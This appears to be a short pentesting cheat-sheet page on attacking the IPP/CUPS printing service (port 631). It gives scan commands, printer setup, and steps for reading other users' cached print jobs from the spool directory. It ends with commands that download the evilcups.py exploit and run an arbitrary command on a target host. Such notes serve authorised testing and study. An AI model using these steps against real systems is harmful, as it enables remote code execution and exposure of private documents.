> For the complete documentation index, see [llms.txt](https://docs.h4rithd.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.h4rithd.com/udp/ipp-or-631.md).

# IPP | 631

```bash
## ------------------| Scan
nmap -n -Pn -vv -sUV -p 631,623 -oA NmapIpp.out $IP

## ------------------| Add Printer
sudo systemctl start cups
## visit http://localhost:631
lpadmin -p <Destination> -E -v <DeviceURI>
lpadmin -p TheVoid -E -v file://dev/null

## ------------------| Print jobs cache 
ls /var/spool/cups/
## to read the files you have to do following
cat /var/spool/cups/d0000<JOBID>-00<PAGENO>
## ex: If you want job 3 and page number 2, the command would be like below.
## cat /var/spool/cups/d00003-002
cat /var/spool/cups/d00003-002 > /dev/shm/job.ps
ps2pdf /dev/shm/job.ps /dev/shm/job.pdf
```

* [Attacking UNIX Systems via CUPS](https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/)

<pre class="language-bash"><code class="lang-bash">## ------------------| Expolit
<strong>pip3 install ippserver
</strong><strong>wget https://raw.githubusercontent.com/IppSec/evil-cups/refs/heads/main/evilcups.py
</strong><strong>python3 evilcups.py &#x3C;LOCAL_HOST> &#x3C;TARGET_HOST> &#x3C;COMMAND>
</strong></code></pre>